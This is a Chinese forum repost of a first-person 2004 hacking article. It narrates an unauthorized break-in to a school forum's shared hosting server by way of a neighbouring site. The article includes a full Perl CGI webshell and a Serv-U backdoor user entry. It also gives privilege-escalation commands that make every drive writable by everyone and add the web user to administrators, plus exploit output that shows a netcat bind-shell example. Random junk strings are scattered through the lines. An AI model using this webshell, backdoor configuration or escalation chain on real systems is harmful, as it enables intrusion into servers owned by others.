找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1957|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
8 s) D) ], S  u9 z& ?本文作者:angel2 _9 [" M  j0 L0 G
文章性质:原创
  ]' e5 v1 j9 y+ G9 D发布日期:2004-11-09
; F, h! W  W* t+ N; `注意:
# J9 A/ a2 N' y; s. l本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
: |! L+ [+ `& E3 e9 [0 n6 Y9 g本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。" t) f/ N) T: A3 @3 a# `- C/ k6 |6 [# R

+ L8 k  t1 Z/ m. d9 E+ {  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 # P0 u$ |) y) u3 k1 x
; r- M6 L8 A/ h8 T! y" u4 [
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ }$ C! H9 {: T" h5 T# R% \( s4 {9 n8 I4 O' r+ {
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。   G, {( f1 Z2 w- \/ ]8 y; N
) Y$ E( H0 P1 X) e6 E7 @5 Z$ ^2 z
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
0 i. V8 k; }- z& A# _( q& L8 E2 n, W4 ~9 a$ `
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 # f! k9 z5 D0 x- q& C$ C" [8 u% E% O7 b

: m9 @: q) A# q1 z- {  没有目的的跳转目录着…… / r* b$ E7 j1 o( m- o+ X
: ]; ~* E& W% B# k# G
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… " ]4 w% F& R+ h  A9 _: f4 |5 [
0 f4 i/ T& j$ b! D
  结束了吗?不,我试着 FTP 一下: : E5 M% M0 [  O( X$ w) d1 ^! n

% p& G' q' M; F* X8 k0 g1 |Microsoft Windows 2000 [Version 5.00.2195]& x+ h/ `3 O0 [) w
(C) 版权所有 1985-2000 Microsoft Corp.
# t; F5 Z1 V% A& c4 P% p+ z9 t0 o" t; ?1 J4 `; L5 l
C:\Documents and Settings\Administrator>ftp www.school.com- S7 Z, X+ \6 L  {7 m4 d
Connected to www. school.com.
7 O6 T( Q/ Y1 I220 Welcome to FTP Server... ( L! @3 z( `8 k* k6 y, B0 b) p
User (www.bjtrq.com:(none)): ' N4 u: D- }8 |& F$ v6 n* X
331 User name okay, need password.
- r4 Z& v* K; |3 U' vPassword: , e2 O! N% `  x5 H0 a
530 Not logged in.
# O; N8 q5 z% x# bLogin failed. + F. ~  \! y$ x. k  @
ftp> bye 3 P& k8 o5 _  l5 s# D
221 Goodbye!
( R% P) f7 x# }6 V8 t
2 ^& i- E0 _7 e7 U+ B3 m* n
  n5 x  B. j# [6 }  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; a- ^( R! P6 d; {) h
8 a6 _5 |: A( D3 ]/ }
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
- s$ y# ^8 j( @7 Z' F- F4 a! e4 M9 O$ l
Application Data
( M# F) Z& i/ p, x3 wDocuments0 \+ l+ _7 o( c* D
DRM2 o# z; }' [2 E, v2 S0 _# m, y
Favorites
3 B1 |- k3 J) l! b; v" Y( w  S6 L8 {Templates5 \+ {; _7 H8 V+ E# B& S
「开始」菜单
: d3 ?9 W: O+ n) A! L0 H7 p0 T桌面! }" Y/ _  L3 P" ~
* N4 E: ^* k/ ?

  Q" z5 \0 H1 ~( V  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, & J) n! l+ k: b4 U) D& R+ W

5 E9 M, x2 u- h9 R  B. D3 \ActiveState ActivePerl 5.8
- a/ I& T0 N/ aAdministrative Tools
4 @% {1 P6 \9 Z5 D6 XDeerfield.com
3 E4 w, n, ]6 t4 ~9 S* q# cDTemp
# Z4 t) L# O" Y2 {, e! zIPSentry  \( W- t8 f) o  o" v8 ?  f+ {
MBM 5" Y  P  f# q, n1 I
NetMeter& T; D1 ~: Q; r3 A9 K
Network ICE
  W5 o" b. O. v/ gPersits Software AspEmail: Z1 O. y8 ^5 o) T$ {& Q# ^& M
Persits Software AspJpeg
* W% J8 @# u: @6 ZServ-U FTP Server
( V( M5 G- a$ d+ I( f2 E: cSymantec Client Security
! D9 q2 ^1 c' h: x/ ~Windows 优化大师$ d) F9 O+ O' @' m9 \4 U! y; f
WinRAR
  ^4 C5 `: Z4 ]; g5 ~; H2 [启动+ ?9 t8 a, ?1 U& g3 u4 ]
管理工具1 b: Y9 f" U" |' |! \# m
附件% a8 \& k+ |8 ^4 n3 D( S. q" E

3 U5 I9 k7 x9 S
0 c) P# z/ R$ A. u% C4 s  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
: S$ b0 z7 c8 n1 L; z$ Q
& g& m# b! O% R+ |4 O  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! g: w/ q1 a" r3 ^, {4 I; J$ q4 I( ]
User281=angel|1|0 # Y6 B$ O/ |0 d0 M# d4 `/ d
2 J3 s2 v# ]' K, ]& Q$ d* F" B5 U
1 C- h+ A! w3 V9 h+ R$ i/ j
  然后加上
: X8 U9 n# ^( E! V1 U; x; l, E. Y4 |( e6 g- K+ z5 N
[USER=angel|1]
- \* E& |" u, w& A5 X" B! t8 IPassword=ng98F85379EA68DBF97BAADCA99B69B805
/ [. B3 W/ H' F0 V3 |' _: q% ~3 xHomeDir=D:\websites
$ A9 b, _: k; {0 s, nRelPaths=1
5 R; D4 k4 b. MTimeOut=6003 I2 f' Y8 ?, [6 D* t4 @7 _
Maintenance=System
3 A) p% e/ v% t, F  A' z- vAccess1=D:\websites|RWAMELCDP
6 O! \/ K1 _% j* W5 Z% ]& kSKEYValues=
) F9 D3 e) y% `* ` , R# M' W2 l$ |" l! _* y/ D0 E
% \! M) k& a7 `8 F9 J8 Q  s
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
, s* x) x) k" z
& R& t5 u& z2 c  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 * X# r$ _+ i# ?) q# S8 I" ^3 O1 N
% {7 p" h6 L2 {. q- G  [2 X
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 7 L9 `. J0 v5 w: p6 `; }+ k  @- v

+ e( \9 F8 Q3 Q' k% t  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 5 M) o* T8 f+ h9 S$ o) x$ U. l

" f5 @; {2 n0 H. ~6 k#!/usr/bin/perl! M0 u6 ?6 l7 M% w& k
binmode(STDOUT);& [% s, @# \) P6 l
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
1 V% d1 r% |, N+ m$_ = $ENV{QUERY_STRING};
9 a  A+ ~  X" f  ~$ u: P' Q3 ?s/%20/ /ig;
8 c- Z$ {' ?6 `s/%2f/\//ig;/ ~4 U% _$ L' T7 _, p) y" L
$execthis = $_;
; G4 Q" y, i( _syswrite(STDOUT, "<HTML><PRE>\r\n", 13);; p$ A. h( h7 w2 l
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";4 ?  X2 ^5 o& E3 h# S8 z: ~$ {
system($execthis);
  @1 z$ }$ g5 Wsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);0 X% p9 Y( w1 ^: l
close(STDERR);
: K4 \- K) D% W% N/ X8 F) N- Wclose(STDOUT);
, g" F+ }3 P' M, g1 j: e* k/ aexit;! j+ z6 v' L7 r1 Q

" z" P, ?, T# I4 G  v& |5 }+ t
/ Y$ }8 |9 s# T9 D9 M  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
6 [  w8 ]! |3 Y
0 l7 j/ n5 e2 Q' u  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
0 A( u8 b+ [* Z, @! \" ~' M8 ?! u2 i' K
http://anyhost//cmd.pl?d:\user\bin\su.exe
# S" D7 Q( X9 V2 Z / t+ p0 {# H3 K4 M

; a# m4 z/ U: H' J  返回:
9 i- G( V) `" y# [% `6 j- j" S
: y! m; c5 L% F- ]5 u, t& @Serv-u >3.x Local Exploit by xiaolu
- `  s% _/ U9 a/ r3 }8 C3 r* o' v4 Z$ z. w, w
USAGE: serv-u.exe "command"   s; K- `0 T5 Z+ _" O
- T# i! \' u0 r- l+ n
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ) C2 c. _5 w% H  E3 e' r

" o, V% S( n1 N, E1 q# L$ x6 Z, A2 ]3 }3 E& v& N
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 1 n7 R$ x4 X# k6 g9 q8 f+ ]5 t
0 N! N$ f2 k- }( c
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" & s# ?! C( V5 B; B
- l, {' |, ^$ Z1 ^- V
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" * D& W0 m! p1 H0 X; d1 c# ?
* }- j; _8 a4 [3 @& A. E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
1 {& k/ t& X) q4 S" f8 g8 @
% e, a, Q( Q$ ^! Y- i  g$ Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
; F) b2 L$ Z; U6 Y' x3 N1 Z, n; n
1 x% X: s4 o6 P( B0 j. U
0 k$ O9 a0 j  j. V9 i3 e  返回下面的信息,就表示成功了!!!
- }& U+ F3 V5 @. l% c( z4 K: W
# |$ s0 e. r6 t8 D2 e. W; ]& gServ-u >3.x Local Exploit by xiaolu
+ O$ x4 C6 [5 o6 A8 Y1 x5 h$ o" c/ X& q! f
<220 Serv-U FTP Server v5.2 for WinSock ready... - w( U5 Y3 Y! Y  m7 V, p2 b7 _# @6 Q

' u! a4 R$ P) C2 m* O+ x' W>USER LocalAdministrator
# c  y) P9 |, |& W
# D/ Z+ M* y# l+ Y<331 User name okay, need password.
0 Q$ |& X" i. v& c9 |2 X  i* @% B: M) D% i: b! V4 H
******************************************************
% k9 k. z/ a2 S) f9 @+ z4 J( h; V$ V4 u$ n* X' ?9 o2 O
>PASS #l@$ak#.lk;0@P
' z" f$ I/ b" a1 k' N. p
. N% q; E% u* L, z( p) s1 B; {<230 User logged in, proceed. + u7 @. g* U/ a) l# N$ z

+ Q; {9 f9 O( |, ~: X****************************************************** ' X* J7 w/ i" e
* U; o% E% r3 S$ F- [' V
>SITE MAINTENANCE 8 y" L% K! d- Q+ a! Z

  Y/ k7 h6 A' W4 [& G, {# |2 v****************************************************** " o! L8 v2 q) Q2 C, g
& t6 m( H& b$ |' f3 w1 Y
[+] Creating New Domain... ( b( k) t' f5 }/ A
3 D/ q; U6 x. S8 {' [) y; f
<200-DomainID=2
- L3 p' u9 |/ g% j- M& q7 \% v. j7 |& w! k7 C9 A2 O
<220 Domain settings saved $ t$ i: L0 ?' r
. Q- A/ I, c( d4 w* q1 R
****************************************************** ( Y: Y) o* e0 [" `. N' e2 e
$ g. Q, [& a4 w. B
[+] Domain xl:2 Created
) G2 \/ P0 z& B4 H; J
, A6 p) M; R  T4 c7 T; L3 q6 C[+] Creating Evil User
; d/ A/ q8 O$ F& S( b, W$ D0 u8 j( U  x
<200-User=xl ! o: `* U4 g" i4 ]9 \; k+ s2 [9 ~- Q
4 P- C4 S1 n% |# s, }
200 User settings saved
  j, Z$ v; r1 m+ R* f8 n9 z
; |6 Y2 ^7 U; u6 S; p8 g1 H******************************************************
9 v3 y3 l' Y; @# ]/ F5 H2 ^1 W' H0 ?$ J" H
[+] Now Exploiting... 9 M# Q3 [. x- T6 j- Q; D# a

! }8 c; c3 k( W8 }' C5 b>USER xl 1 c( i6 D) |0 l: F2 K# w

" A9 m% I9 o8 F7 |# ~" ~<331 User name okay, need password.
8 c- r" O. K( N) L5 n& d
$ u% }& H. D, N, y0 q9 I" {: o. \******************************************************
& u3 `# Z, o  u8 s# |8 e& d3 j4 ?
7 X% Q1 Y& D# z! n9 I>PASS 111111 0 j- U0 A: x0 q1 K# S6 q$ g, B0 L

# T9 I% x9 K" B: t6 W, e<230 User logged in, proceed. / ~% a2 _+ T# V6 `. U3 T8 t  U5 ?

6 j% D' [( K8 ~6 [****************************************************** 7 K: [9 c9 t4 i5 v1 ?4 C6 Q

) R" h. k$ ^% Y0 a; v[+] Now Executing: cacls.exe c: /E /T /G everyone:F " m' x, i( p7 ^8 K2 J& G9 T

3 j! ?9 _( b8 i" S; ?# H5 L<220 Domain deleted
+ |6 p# E+ H) G7 t
! ?% S  ?/ Q, Y4 n' w4 ^' u****************************************************** 4 T4 m/ L' v8 |/ g7 x, P2 m9 Q8 U

, T' Y1 I; @/ Z4 W7 Q/ `9 |& A: C2 _8 {! Z
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: / U3 `1 r) b8 P& ~; u
" @) a3 U/ Z9 V! n+ o& @6 q+ z2 X
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" + v# m2 D& n+ K+ b* C; U1 m/ D

" ~1 H/ c- n  H# Q: C1 i& f8 G
( }9 ^$ }# M3 P/ E4 E$ [# ?  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 : J1 Z* V- Z/ g' d4 D/ K
4 r: a$ x2 d# D) m
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
1 c7 t- i+ g" p5 L) a
. t& U8 ~# |* y: \+ M  0 {& x- w) D7 f9 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表